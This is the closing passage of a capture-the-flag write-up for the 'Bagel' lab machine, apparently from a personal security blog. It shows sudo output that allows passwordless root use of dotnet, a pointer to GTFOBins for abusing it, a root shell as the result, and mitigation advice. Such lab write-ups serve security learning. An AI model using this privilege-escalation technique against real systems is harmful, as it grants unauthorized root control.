&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="n">developer&lt;/span>&lt;span class="err">@&lt;/span>&lt;span class="n">bagel&lt;/span> &lt;span class="n">phil&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="err">$&lt;/span> &lt;span class="n">sudo&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">l&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Matching&lt;/span> &lt;span class="n">Defaults&lt;/span> &lt;span class="n">entries&lt;/span> &lt;span class="kr">for&lt;/span> &lt;span class="n">developer&lt;/span> &lt;span class="n">on&lt;/span> &lt;span class="n">bagel&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">!&lt;/span>&lt;span class="n">visiblepw&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">always_set_home&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">match_group_by_gid&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">always_query_group_plugin&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">env_reset&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">env_keep&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;COLORS DISPLAY HOSTNAME HISTSIZE
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> KDEDIR LS_COLORS&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">env_keep&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s2">&amp;#34;MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">env_keep&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s2">&amp;#34;LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> LC_MESSAGES&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">env_keep&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s2">&amp;#34;LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">env_keep&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s2">&amp;#34;LC_TIME LC_ALL LANGUAGE LINGUAS
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> _XKB_CHARSET XAUTHORITY&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">secure_path&lt;/span>&lt;span class="o">=/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="kd">local&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">sbin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="kd">local&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">sbin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">sbin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">var&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">lib&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">snapd&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">snap&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">User&lt;/span> &lt;span class="n">developer&lt;/span> &lt;span class="n">may&lt;/span> &lt;span class="n">run&lt;/span> &lt;span class="n">the&lt;/span> &lt;span class="n">following&lt;/span> &lt;span class="n">commands&lt;/span> &lt;span class="n">on&lt;/span> &lt;span class="n">bagel&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="n">root&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">NOPASSWD&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">dotnet&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>For abusing &lt;code>sudo&lt;/code>, &lt;code>suid&lt;/code> and &lt;code>capabilities&lt;/code>, &lt;a class="link" href="https://gtfobins.github.io/gtfobins/dotnet/" target="_blank" rel="noopener"
>GTFObins&lt;/a> is a great website. Looking at it, there is a way to get root access using sudo permissions.&lt;/p>
&lt;p>&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/sudo.png"
width="1660"
height="396"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/sudo_hu909c7d2998fcfcdc25e408d4119683e4_70351_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/sudo_hu909c7d2998fcfcdc25e408d4119683e4_70351_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="419"
data-flex-basis="1006px"
>&lt;/p>
&lt;p>I ran the commands and got the root user. 🎉&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">sh&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mf">5.2&lt;/span>&lt;span class="o">#&lt;/span> &lt;span class="n">id&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">uid&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">root&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">gid&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">root&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">groups&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">root&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">context&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">unconfined_u&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">unconfined_r&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">unconfined_t&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">s0&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">s0&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">c0.c1023&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="mitigation-techniques">Mitigation Techniques
&lt;/h2>&lt;ol>
&lt;li>&lt;strong>Input Validation and Filtering&lt;/strong>: Implement strict input validation and filtering mechanisms to prevent injection attacks, including LFI (Local File Inclusion) vulnerabilities. Validate and sanitize all user inputs and file paths to ensure they do not allow unauthorized access to system files.&lt;/li>
&lt;li>&lt;strong>Secure Deserialization&lt;/strong>: Use safe deserialization practices, such as validating input types and using whitelists for allowed types during deserialization. Avoid using frameworks or libraries that automatically deserialize data without proper validation, as this can lead to remote code execution vulnerabilities.&lt;/li>
&lt;li>&lt;strong>Least Privilege Principle&lt;/strong>: Restrict privileges granted to applications and users to the minimum necessary for their functionality. Avoid granting unnecessary sudo or administrative rights, especially to binaries like dotnet, which can be abused to escalate privileges.&lt;/li>
&lt;li>&lt;strong>Monitoring and Logging&lt;/strong>: Implement comprehensive logging and monitoring of system activities, especially those involving sensitive operations like sudo access. Monitor for unusual or unauthorized activities to detect and respond to potential security breaches promptly.&lt;/li>
&lt;li>&lt;strong>Regular Security Audits and Patching&lt;/strong>: Conduct regular security audits to identify and mitigate vulnerabilities in applications and systems. Keep software and libraries up to date with security patches to protect against known vulnerabilities.&lt;/li>
&lt;/ol>
&lt;h2 id="conclusion">Conclusion
&lt;/h2>&lt;p>The penetration test revealed critical vulnerabilities including Local File Inclusion (LFI), insecure deserialization, and privileged escalation through misuse of sudo rights. These findings show the importance of strict security practices, including secure coding, proper input validation, and adherence to the principle of least privilege. It was a fun box.&lt;/p>
&lt;h2 id="references">References
&lt;/h2>&lt;ol>
&lt;li>&lt;a class="link" href="https://gtfobins.github.io/gtfobins/dotnet/" target="_blank" rel="noopener"
>https://gtfobins.github.io/gtfobins/dotnet/&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://github.com/websockets/wscat" target="_blank" rel="noopener"
>https://github.com/websockets/wscat&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://www.jetbrains.com/rider/" target="_blank" rel="noopener"
>https://www.jetbrains.com/rider/&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://www.newtonsoft.com/json/help/html/SerializeTypeNameHandling.htm" target="_blank" rel="noopener"
>https://www.newtonsoft.com/json/help/html/SerializeTypeNameHandling.htm&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://caido.io/" target="_blank" rel="noopener"
>https://caido.io/&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://gchq.github.io/CyberChef/" target="_blank" rel="noopener"
>https://gchq.github.io/CyberChef/&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://ghidra-sre.org/" target="_blank" rel="noopener"
>https://ghidra-sre.org/&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://www.jetbrains.com/decompiler/" target="_blank" rel="noopener"
>https://www.jetbrains.com/decompiler/&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://github.com/dnSpy/dnSpy" target="_blank" rel="noopener"
>https://github.com/dnSpy/dnSpy&lt;/a>&lt;/li>
&lt;/ol></description></item></channel></rss>